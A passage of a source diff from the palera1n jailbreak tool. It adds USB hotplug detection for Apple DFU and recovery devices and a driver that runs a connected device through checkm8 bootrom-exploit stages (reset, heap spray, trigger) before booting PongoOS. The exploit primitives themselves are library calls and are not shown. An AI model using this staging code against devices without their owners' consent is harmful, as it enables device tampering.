void ensure_device_event_system_started();
bool enter_recovery();
void exit_recovery();
#endif // EVENT_H
#endif // WITH_GUI || WITH_TUI
+419
View File
@@ -0,0 +1,419 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#if defined(WITH_GUI) || defined(WITH_TUI)
#include "hotplug.hpp"
#include <vector>
#include <algorithm>
#include <string>
#include <thread>
#include <atomic>
#include <chrono>
constexpr int32_t APPLE_VID = 0x05AC;
constexpr int32_t PID_DFU = 0x1227;
constexpr int32_t PID_RECOVERY_1 = 0x1280;
constexpr int32_t PID_RECOVERY_2 = 0x1281;
constexpr int32_t PID_RECOVERY_3 = 0x1282;
constexpr int32_t PID_RECOVERY_4 = 0x1283;
static const std::vector<int32_t> TARGET_PIDS = {
PID_DFU, PID_RECOVERY_1, PID_RECOVERY_2, PID_RECOVERY_3, PID_RECOVERY_4
};
static hotplug_callback_t gUserCallback = nullptr;
static bool is_target_pid(int32_t pid) {
return std::find(TARGET_PIDS.begin(), TARGET_PIDS.end(), pid) != TARGET_PIDS.end();
}
static hotplug_event_t get_hotplug_event(int32_t pid, bool arrived) {
if (pid == PID_DFU) {
return arrived ? HOTPLUG_EVENT_DFU_ADD : HOTPLUG_EVENT_DFU_REMOVE;
}
return arrived ? HOTPLUG_EVENT_RECOVERY_ADD : HOTPLUG_EVENT_RECOVERY_REMOVE;
}
// MARK: IOKit
#if __APPLE__
# include <CoreFoundation/CoreFoundation.h>
static IONotificationPortRef gNotifyPort = nullptr;
static std::vector<io_iterator_t> gIterators;
static CFRunLoopSourceRef gRunLoopSource = nullptr;
static void process_device_iterator(void *refcon, io_iterator_t iterator, bool arrived) {
int32_t pid = static_cast<int32_t>(reinterpret_cast<uintptr_t>(refcon));
io_service_t device;
while ((device = IOIteratorNext(iterator))) {
if (gUserCallback) {
hotplug_handle_t handle = { device, nullptr };
if (arrived) {
IOCFPlugInInterface **plugIn = nullptr;
SInt32 score = 0;
if (IOCreatePlugInInterfaceForService(device, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plugIn, &score) == kIOReturnSuccess && plugIn) {
(*plugIn)->QueryInterface(plugIn, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID320), (LPVOID *)&handle.device);
IODestroyPlugInInterface(plugIn);
}
}
gUserCallback(get_hotplug_event(pid, arrived), handle);
if (handle.device) {
(*handle.device)->Release(handle.device);
}
}
IOObjectRelease(device);
}
}
static void device_added_callback(void *refcon, io_iterator_t iterator) { process_device_iterator(refcon, iterator, true); }
static void device_removed_callback(void *refcon, io_iterator_t iterator) { process_device_iterator(refcon, iterator, false); }
static bool register_pid_node(int32_t pid) {
void* refcon = reinterpret_cast<void*>(static_cast<uintptr_t>(pid));
CFNumberRef vid_num = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &APPLE_VID);
CFNumberRef pid_num = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pid);
auto setup_notification = [&](const char* notification_type, void (*cb)(void*, io_iterator_t)) -> bool {
CFMutableDictionaryRef match = IOServiceMatching(kIOUSBDeviceClassName);
CFDictionarySetValue(match, CFSTR(kUSBVendorID), vid_num);
CFDictionarySetValue(match, CFSTR(kUSBProductID), pid_num);
io_iterator_t iter = IO_OBJECT_NULL;
if (IOServiceAddMatchingNotification(gNotifyPort, notification_type, match, cb, refcon, &iter) == KERN_SUCCESS && iter != IO_OBJECT_NULL) {
cb(refcon, iter);
gIterators.push_back(iter);
return true;
}
return false;
};
bool ok = setup_notification(kIOFirstMatchNotification, device_added_callback) &&
setup_notification(kIOTerminatedNotification, device_removed_callback);
CFRelease(vid_num);
CFRelease(pid_num);
return ok;
}
bool start_hotplug_monitoring(hotplug_callback_t callback) {
if (gNotifyPort != nullptr) return true;
if (!callback) return false;
gUserCallback = callback;
gNotifyPort = IONotificationPortCreate(MACH_PORT_NULL);
if (!gNotifyPort) return false;
gRunLoopSource = IONotificationPortGetRunLoopSource(gNotifyPort);
CFRunLoopAddSource(CFRunLoopGetCurrent(), gRunLoopSource, kCFRunLoopDefaultMode);
for (int32_t pid : TARGET_PIDS) register_pid_node(pid);
return true;
}
void stop_hotplug_monitoring(void) {
if (!gNotifyPort) return;
if (gRunLoopSource) {
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), gRunLoopSource, kCFRunLoopDefaultMode);
gRunLoopSource = nullptr;
}
for (io_iterator_t iter : gIterators) {
if (iter != IO_OBJECT_NULL) IOObjectRelease(iter);
}
gIterators.clear();
IONotificationPortDestroy(gNotifyPort);
gNotifyPort = nullptr;
gUserCallback = nullptr;
}
bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen) {
if (handle.serv == IO_OBJECT_NULL || !buffer || maxLen == 0) return false;
CFTypeRef serialProp = IORegistryEntryCreateCFProperty(handle.serv, CFSTR("USB Serial Number"), kCFAllocatorDefault, 0);
if (!serialProp) serialProp = IORegistryEntryCreateCFProperty(handle.serv, CFSTR("Serial Number"), kCFAllocatorDefault, 0);
if (!serialProp) return false;
bool success = false;
if (CFGetTypeID(serialProp) == CFStringGetTypeID()) {
success = CFStringGetCString(static_cast<CFStringRef>(serialProp), buffer, static_cast<CFIndex>(maxLen), kCFStringEncodingUTF8);
}
CFRelease(serialProp);
return success;
}
static bool send_usb_control_request(hotplug_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void* data, uint16_t wLength) {
if (!handle.device || (*handle.device)->USBDeviceOpen(handle.device) != kIOReturnSuccess) return false;
IOUSBDevRequest request = { bmRequestType, bRequest, wValue, wIndex, wLength, data };
kern_return_t kr = (*handle.device)->DeviceRequest(handle.device, &request);
(*handle.device)->USBDeviceClose(handle.device);
return (kr == kIOReturnSuccess);
}
// MARK: Libusb
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
static libusb_context *gCtx = nullptr;
static std::vector<libusb_hotplug_callback_handle> gCallbackHandles;
static std::thread gEventThread;
static std::atomic<bool> gRunning{false};
static int LIBUSB_CALL hotplug_callback(libusb_context *ctx, libusb_device *dev, libusb_hotplug_event event, void *user_data) {
(void)ctx; (void)user_data;
struct libusb_device_descriptor desc;
if (libusb_get_device_descriptor(dev, &desc) != LIBUSB_SUCCESS || desc.idVendor != APPLE_VID || !is_target_pid(desc.idProduct)) return 0;
if (gUserCallback) {
libusb_ref_device(dev);
std::thread([dev, event, desc]() {
hotplug_handle_t handle = { dev, nullptr };
bool arrived = (event == LIBUSB_HOTPLUG_EVENT_DEVICE_ARRIVED);
gUserCallback(get_hotplug_event(desc.idProduct, arrived), handle);
libusb_unref_device(dev);
}).detach();
}
return 0;
}
bool start_hotplug_monitoring(hotplug_callback_t callback) {
if (gCtx != nullptr) return true;
if (!callback || libusb_init(&gCtx) != LIBUSB_SUCCESS) return false;
if (!libusb_has_capability(LIBUSB_CAP_HAS_HOTPLUG)) {
libusb_exit(gCtx);
gCtx = nullptr;
return false;
}
gUserCallback = callback;
gRunning = true;
gEventThread = std::thread([]() {
while (gRunning) libusb_handle_events_completed(gCtx, nullptr);
});
libusb_hotplug_callback_handle cb_handle;
int rc = libusb_hotplug_register_callback(
gCtx, static_cast<libusb_hotplug_event>(LIBUSB_HOTPLUG_EVENT_DEVICE_ARRIVED | LIBUSB_HOTPLUG_EVENT_DEVICE_LEFT),
LIBUSB_HOTPLUG_ENUMERATE, APPLE_VID, LIBUSB_HOTPLUG_MATCH_ANY, LIBUSB_HOTPLUG_MATCH_ANY,
hotplug_callback, nullptr, &cb_handle
);
if (rc == LIBUSB_SUCCESS) {
gCallbackHandles.push_back(cb_handle);
return true;
}
stop_hotplug_monitoring();
return false;
}
void stop_hotplug_monitoring(void) {
if (!gCtx) return;
for (auto cb_handle : gCallbackHandles) libusb_hotplug_deregister_callback(gCtx, cb_handle);
gCallbackHandles.clear();
gRunning = false;
libusb_unref_device(nullptr);
if (gEventThread.joinable()) gEventThread.join();
libusb_exit(gCtx);
gCtx = nullptr;
gUserCallback = nullptr;
}
bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen) {
if (!handle.serv || !buffer || maxLen == 0) return false;
struct libusb_device_descriptor desc;
if (libusb_get_device_descriptor(handle.serv, &desc) != LIBUSB_SUCCESS || desc.iSerialNumber == 0) return false;
libusb_device_handle *dev_handle = nullptr;
if (libusb_open(handle.serv, &dev_handle) != LIBUSB_SUCCESS) return false;
int rc = libusb_get_string_descriptor_ascii(dev_handle, desc.iSerialNumber, reinterpret_cast<unsigned char*>(buffer), static_cast<int>(maxLen));
libusb_close(dev_handle);
return (rc > 0);
}
static bool send_usb_control_request(hotplug_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void* data, uint16_t wLength) {
if (!handle.serv) return false;
libusb_device_handle *dev_handle = handle.device;
bool must_close = false;
if (!dev_handle) {
if (libusb_open(handle.serv, &dev_handle) != LIBUSB_SUCCESS) return false;
must_close = true;
}
int transferred = libusb_control_transfer(
dev_handle, bmRequestType, bRequest, wValue, wIndex,
reinterpret_cast<unsigned char*>(data), wLength, 1000
);
if (must_close && dev_handle) {
libusb_close(dev_handle);
}
return transferred >= 0;
}
// MARK: Liteusb
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
# include <liteusb.h>
# include <map>
# include <set>
struct PersistentDeviceContext {
liteusb_device_t device;
liteusb_handle_t* session = nullptr;
};
static std::thread gHotplugThread;
static std::atomic<bool> gHotplugRunning{false};
static std::map<std::string, std::unique_ptr<PersistentDeviceContext>> gConnectedDevices;
static void hotplug_polling_worker() {
liteusb_init(LITEUSB_FLAG_NONE);
while (gHotplugRunning) {
liteusb_query_t *query = nullptr;
if (liteusb_query_devices(&query) != LITEUSB_ERR_SUCCESS || !query) {
std::this_thread::sleep_for(std::chrono::milliseconds(250));
continue;
}
std::set<std::string> active_paths;
for (uint32_t i = 0; i < query->count; i++) {
const auto& dev = query->list[i];
if (dev.vid != APPLE_VID || !is_target_pid(dev.pid) || !dev.sysfs_path) continue;
std::string path(dev.sysfs_path);
active_paths.insert(path);
if (gConnectedDevices.find(path) == gConnectedDevices.end()) {
auto ctx = std::make_unique<PersistentDeviceContext>();
ctx->device = dev;
if (liteusb_open_handle(&ctx->device, &ctx->session) == LITEUSB_ERR_SUCCESS) {
auto* ctx_ptr = ctx.get();
gConnectedDevices[path] = std::move(ctx);
if (gUserCallback) {
gUserCallback(get_hotplug_event(ctx_ptr->device.pid, true), { reinterpret_cast<liteusb_handle_t*>(ctx_ptr) });
}
}
}
}
for (auto it = gConnectedDevices.begin(); it != gConnectedDevices.end(); ) {
if (active_paths.find(it->first) == active_paths.end()) {
if (gUserCallback) {
gUserCallback(get_hotplug_event(it->second->device.pid, false), { reinterpret_cast<liteusb_handle_t*>(it->second.get()) });
}
if (it->second->session) liteusb_close_handle(it->second->session);
it = gConnectedDevices.erase(it);
} else {
++it;
}
}
liteusb_release_query(query);
std::this_thread::sleep_for(std::chrono::milliseconds(250));
}
}
bool start_hotplug_monitoring(hotplug_callback_t callback) {
if (gHotplugRunning) return true;
if (!callback) return false;
gUserCallback = callback;
gHotplugRunning = true;
gHotplugThread = std::thread(hotplug_polling_worker);
return true;
}
void stop_hotplug_monitoring(void) {
if (!gHotplugRunning) return;
gHotplugRunning = false;
if (gHotplugThread.joinable()) gHotplugThread.join();
for (const auto& [path, ctx] : gConnectedDevices) {
if (ctx->session) liteusb_close_handle(ctx->session);
}
gConnectedDevices.clear();
gUserCallback = nullptr;
}
bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen) {
auto* ctx = reinterpret_cast<PersistentDeviceContext*>(handle.handle);
if (!ctx || !ctx->session || !buffer || maxLen == 0) return false;
char *serial_num = nullptr;
bool success = false;
if (liteusb_get_device_serial_num(ctx->session, &serial_num) == LITEUSB_ERR_SUCCESS && serial_num) {
success = ((size_t)snprintf(buffer, maxLen, "%s", serial_num) < maxLen);
free(serial_num);
}
return success;
}
static bool send_usb_control_request(hotplug_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void* data, uint16_t wLength) {
auto* ctx = reinterpret_cast<PersistentDeviceContext*>(handle.handle);
if (!ctx || !ctx->session) return false;
uint32_t transferred = 0;
return liteusb_immediate_ctrl_transfer(
ctx->session, bmRequestType, bRequest, wValue, wIndex,
reinterpret_cast<uint8_t*>(data), wLength, 5000, &transferred
) == LITEUSB_ERR_SUCCESS;
}
#endif
void exit_recovery(hotplug_handle_t handle) {
char cmd1[] = "setenv auto-boot true";
char cmd2[] = "saveenv";
char cmd3[] = "reboot";
send_usb_control_request(handle, 0x40, 0, 0, 0, cmd1, sizeof(cmd1));
send_usb_control_request(handle, 0x40, 0, 0, 0, cmd2, sizeof(cmd2));
send_usb_control_request(handle, 0x40, 0, 0, 0, cmd3, sizeof(cmd3));
}
#endif // WITH_GUI || WITH_TUI
+82
View File
@@ -0,0 +1,82 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#if defined(WITH_GUI) || defined(WITH_TUI)
#ifndef MAIN__HOTPLUG_HPP
#define MAIN__HOTPLUG_HPP
#include <stdbool.h>
#include <stdint.h>
#ifdef __APPLE__
# include <IOKit/IOKitLib.h>
# include <IOKit/IOCFPlugIn.h>
# include <IOKit/usb/IOUSBLib.h>
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
# include <libusb-1.0/libusb.h>
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
# include <liteusb.h>
#endif
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
HOTPLUG_EVENT_DFU_ADD,
HOTPLUG_EVENT_DFU_REMOVE,
HOTPLUG_EVENT_RECOVERY_ADD,
HOTPLUG_EVENT_RECOVERY_REMOVE
} hotplug_event_t;
typedef struct {
#ifdef __APPLE__
io_service_t serv;
IOUSBDeviceInterface320 **device;
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
libusb_device *serv;
libusb_device_handle *device;
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
liteusb_handle_t *handle;
#endif
} hotplug_handle_t;
typedef void (*hotplug_callback_t)(hotplug_event_t event, hotplug_handle_t handle);
bool start_hotplug_monitoring(hotplug_callback_t callback);
void stop_hotplug_monitoring(void);
bool get_usb_device_serial(hotplug_handle_t handle, char* buffer, size_t maxLen);
void exit_recovery(hotplug_handle_t handle);
#ifdef __cplusplus
}
#endif
#endif // MAIN__HOTPLUG_HPP
#endif // WITH_GUI || WITH_TUI
+389
View File
@@ -0,0 +1,389 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include "exploit.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <pthread.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include "globals.h"
#include "paleinfo.h"
#include "pongo_helper.h"
#if WITH_CIDERRAIN
# include <ciderra1n/log.h>
# include <ciderra1n/common.h>
# include <ciderra1n/usb.h>
# include <ciderra1n/ra1n.h>
# include <ciderra1n/dfu.h>
#else
# include <openra1n/utils.h>
# include <openra1n/checkm8.h>
# include <openra1n/dfu.h>
# include <openra1n/payload.h>
# include <openra1n/shim.h>
#endif
#define VID_APPLE (0x5AC)
#define PID_PONGO (0x4141)
#define PID_DFU (0x1227)
const char* stage_to_string(int stage)
{
switch (stage) {
case STAGE_SETUP: return "Checking if device is ready...";
case STAGE_SPRAY: return "Setting up the exploit (this is the heap spray)...";
case STAGE_PATCH: return "Right before trigger (this is the real bug setup)...";
case STAGE_YOLODFU: return "Booting PongoOS...";
case STAGE_PONGO: return "Booting...";
case STAGE_DONE: return "Done!";
default: return "Waiting...";
}
}
int stage_to_progress(int stage)
{
switch (stage) {
case STAGE_SETUP: return 30;
case STAGE_SPRAY: return 40;
case STAGE_PATCH: return 50;
case STAGE_YOLODFU: return 60;
case STAGE_PONGO: return 70;
case STAGE_DONE: return 100;
default: return 0;
}
}
const char* err_to_string(int err) {
switch (err) {
case 0: return "";
case 1: return "-p1_client_err_abort_success";
case 2: return "-p1_client_err_unsupported";
case 3: return "-p1_client_err_response_size";
case 4: return "-p1_client_err_abort";
case 5: return "-p1_client_err_timeout";
case 6: return "-p1_client_err_pipe_stalled";
case 7: return "-p1_client_err_no_device";
case 8: return "-p1_client_err_notresponding";
case 9: return "-p1_client_err_invalid_response";
case 10: return "-p1_client_err_async_download_failed";
case 11: return "-p1_client_err_transaction_abort_failed";
case 12: return "-p1_client_err_status";
case 13: return "-p1_client_err_not_dfu_idle";
case 14: return "-p1_client_err_no_stage1_generator";
case 15: return "-p1_client_err_invalid_payload";
case 16: return "-p1_client_err_no_image";
case 17: return "-p1_client_err_not_dfu";
case 18: return "-p1_client_err_soft_dfu";
case 19: return "-p1_client_err_cnt_overflow";
default: return "-p1_client_err_undefined";
}
}
#if WITH_CIDERRAIN
int exploit(int *stage)
{
LOG("Waiting for devices...");
*stage = STAGE_RESET;
client_t* client = NULL;
if (!alloc_usb_client(&client)) {
*stage = STAGE_ERROR;
return RA1N_CLIENT_ERR_UNDEFINED;
}
ra1n_client_err_t cr = RA1N_CLIENT_ERR_NONE;
uint32_t flag = 0;
uint16_t cpid = 0;
for (;;) {
if (usb_open(client) != 0) {
// no usb device
// slight delay is required for AMD
usleep(500000);
goto reloop;
}
if (!usb_get_client_flag(client, &flag))
goto reloop;
if (flag & kDeviceDFUModeFlag) {
if (flag & kDeviceStandardPwnedDFUModeFlag) {
LOG_ERROR("Found an unknown pwned DFU mode device");
usb_close(client);
*stage = STAGE_ERROR;
continue; // err
}
if (flag & kDevicePwnedDFUModeFlag) {
LOG_ERROR("Detected pwned DFU mode device, please enter normal DFU mode.");
usb_close(client);
*stage = STAGE_ERROR;
continue; // err
}
if (!(flag & kDeviceNotSoftDFUModeFlag)) {
LOG_ERROR("Found soft-DFU mode device");
usb_close(client);
*stage = STAGE_ERROR;
break; // err
}
LOG("Found DFU mode device");
if (*stage == STAGE_RESET) {
cr = ra1n_stage_reset(client);
if (cr == RA1N_CLIENT_ERR_NONE || cr == RA1N_CLIENT_ERR_ABORT_SUCCESS || cr == RA1N_CLIENT_ERR_NOTRESPONDING) {
usb_reset(client, kUSBResetDevice | kUSBReEnumerate);
usb_close(client);
if (cr == RA1N_CLIENT_ERR_NONE) { // success
*stage = STAGE_SETUP;
}
continue;
}
LOG_ERROR("STAGE_RESET failed (rv=%d, reason=%s)", cr, err_to_string(cr));
usb_close(client);
*stage = STAGE_ERROR;
break; // err
} else if (*stage == STAGE_SETUP) {
cr = ra1n_stage_setup(client);
if (cr == RA1N_CLIENT_ERR_NONE) { // success
usb_reset(client, kUSBResetDevice | kUSBReEnumerate);
usb_close(client);
*stage = STAGE_PATCH;
continue;
}
LOG_ERROR("STAGE_SETUP failed (rv=%d, reason=%s)", cr, err_to_string(cr));
usb_close(client);
*stage = STAGE_ERROR;
break; // err
} else if (*stage == STAGE_PATCH) {
cr = ra1n_stage_trigger(client, NULL);
if (cr == RA1N_CLIENT_ERR_NONE) { // exploited
usb_reset(client, kUSBResetDevice | kUSBReEnumerate);
usb_close(client);
*stage = STAGE_YOLODFU;
LOG("Checkmate?");
continue;
}
LOG_ERROR("STAGE_PATCH failed (rv=%d, reason=%s)", cr, err_to_string(cr));
usb_close(client);
*stage = STAGE_ERROR;
break; // err
} else if (*stage == STAGE_YOLODFU) {
LOG_ERROR("STAGE_YOLODFU failed (rv=%d, reason=%s)", cr, err_to_string(cr));
usb_close(client);
*stage = STAGE_ERROR;
break; // err
}
continue;
} else if (flag & kDeviceYoloDFUModeFlag) {
LOG("Found download mode device");
*stage = STAGE_YOLODFU;
cr = send_compressed_pongo(client, g_payload_pongo.data, g_payload_pongo.data_len); // yoloDFU -> pongoOS
if (cr == RA1N_CLIENT_ERR_NONE) {
usb_reset(client, kUSBResetDevice | kUSBReEnumerate);
usb_close(client); // success
continue;
}
LOG_ERROR("Failed to send pongo image (rv=%d, reason=%s)", cr, err_to_string(cr));
usb_close(client);
*stage = STAGE_ERROR;
break; // err
} else if (flag & kDevicePongoModeFlag) {
LOG("Found pongo mode device");
if (palerain_flags & palerain_option_pongo_exit) {
usb_close(client);
*stage = STAGE_DONE;
break; // success
} else {
LOG("Booting...");
cr = send_full_pongo_jailbreak(client);
if (cr != RA1N_CLIENT_ERR_NONE) {
LOG_ERROR("Failed to boot device (rv=%d, reason=%s)", cr, err_to_string(cr));
usb_close(client);
*stage = STAGE_ERROR;
break; // err
}
*stage = STAGE_DONE;
break; // success
}
usb_close(client);
continue;
} else {
LOG_ERROR("Found unknown device");
usb_close(client);
*stage = STAGE_ERROR;
break; // err
}
reloop:
usb_close(client);
}
return cr;
}
#else // WITH_CIDERRAIN
int exploit(int *stage)
{
LOG("Waiting for devices...");
struct DeviceConfiguration deviceConfig;
struct PayloadConfiguration payloadConfig;
*stage = STAGE_RESET;
checkm8_err_t cr = CHECKM8_ERR_NONE;
usb_handle_t dfuHandle;
usb_handle_t pongoHandle;
init_usb_handle(&dfuHandle, VID_APPLE, PID_DFU);
init_usb_handle(&pongoHandle, VID_APPLE, PID_PONGO);
for (;;) {
if (wait_usb_handle(&pongoHandle)) {
LOG("Found pongo mode device");
*stage = STAGE_PONGO;
cr = send_full_pongo_jailbreak(&pongoHandle);
if (cr != CHECKM8_ERR_NONE) {
LOG_ERROR("Failed to boot device (rv=%d, reason=%s)", cr, err_to_string(cr));
*stage = STAGE_ERROR;
goto cleanup;
}
*stage = STAGE_DONE;
goto cleanup;
}
if (wait_usb_handle(&dfuHandle)) {
char *sn = get_usb_serial_number(&dfuHandle);
if (!sn) goto reloop;
uint64_t cpid = dfu_serial_number_get_cpid(sn);
if (!checkm8_find_device_configuration_for_cpid(cpid, &deviceConfig) ||
!checkm8_find_payload_configuration_for_cpid(cpid, &payloadConfig))
{
free(sn);
goto reloop;
}
if (dfu_serial_number_is_pwned(sn)) {
LOG_ERROR("Detected pwned DFU mode device, please enter normal DFU mode.");
free(sn);
*stage = STAGE_ERROR;
goto cleanup;
}
if (dfu_serial_number_is_in_dfu_mode(sn)) {
LOG("Found DFU mode device");
} else if (dfu_serial_number_is_in_yolo_dfu(sn)) {
LOG("Found download mode device");
*stage = STAGE_YOLODFU;
} else {
free(sn);
goto reloop;
}
free(sn);
switch (*stage) {
case STAGE_RESET:
cr = checkm8_stage_reset(&dfuHandle);
if (cr != CHECKM8_ERR_NONE) { // err
LOG_ERROR("STAGE_RESET failed (rv=%d, reason=%s)", cr, err_to_string(cr));
*stage = STAGE_RESET;
goto reloop;
}
*stage = STAGE_SETUP;
goto reloop; // success
case STAGE_SETUP:
cr = checkm8_stage_setup(&dfuHandle, &deviceConfig);
if (cr != CHECKM8_ERR_NONE) { // err
LOG_ERROR("STAGE_SETUP failed (rv=%d, reason=%s)", cr, err_to_string(cr));
*stage = STAGE_RESET;
goto reloop;
}
*stage = STAGE_SPRAY;
goto reloop;
case STAGE_SPRAY:
cr = checkm8_stage_spray(&dfuHandle, &deviceConfig);
if (cr != CHECKM8_ERR_NONE) { // err
LOG_ERROR("STAGE_SPRAY failed (rv=%d, reason=%s)", cr, err_to_string(cr));
*stage = STAGE_RESET;
goto reloop;
}
*stage = STAGE_PATCH;
goto reloop; // success
case STAGE_PATCH:
cr = checkm8_stage_patch(&dfuHandle, &deviceConfig, &payloadConfig);
if (cr != CHECKM8_ERR_NONE) // err
LOG_ERROR("STAGE_PATCH failed (rv=%d, reason=%s)", cr, err_to_string(cr));
*stage = STAGE_RESET;
LOG("Checkmate?");
goto reloop; // success
case STAGE_YOLODFU:
cr = send_compressed_pongo(&dfuHandle, g_payload_pongo.data, g_payload_pongo.data_len);
if (cr != CHECKM8_ERR_NONE) {
LOG_ERROR("Failed to send pongo image (rv=%d, reason=%s)", cr, err_to_string(cr));
*stage = STAGE_ERROR;
goto cleanup; // err
};
continue; // success
}
reloop:
reset_usb_handle(&dfuHandle);
continue;
}
}
cleanup:
close_usb_handle(&dfuHandle);
close_usb_handle(&pongoHandle);
return cr;
}
#endif // WITH_CIDERRAIN
+63
View File
@@ -0,0 +1,63 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifndef RUN_H
#define RUN_H
#include <stdbool.h>
#ifdef __cplusplus
#include <atomic>
using std::atomic_int;
using std::atomic_bool;
extern "C" {
#else
#include <stdatomic.h>
#endif
enum exploit_stage_t {
STAGE_RESET = 0,
STAGE_SETUP = 1,
STAGE_SPRAY = 2,
STAGE_PATCH = 3,
STAGE_YOLODFU = 4,
STAGE_PONGO = 5,
STAGE_DONE = 6,
STAGE_ERROR = 7,
};
const char* stage_to_string(int stage);
int stage_to_progress(int stage);
const char* err_to_string(int err);
int exploit(int *stage);
#ifdef __cplusplus
}
#endif
#endif // RUN_H
+52 -12
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
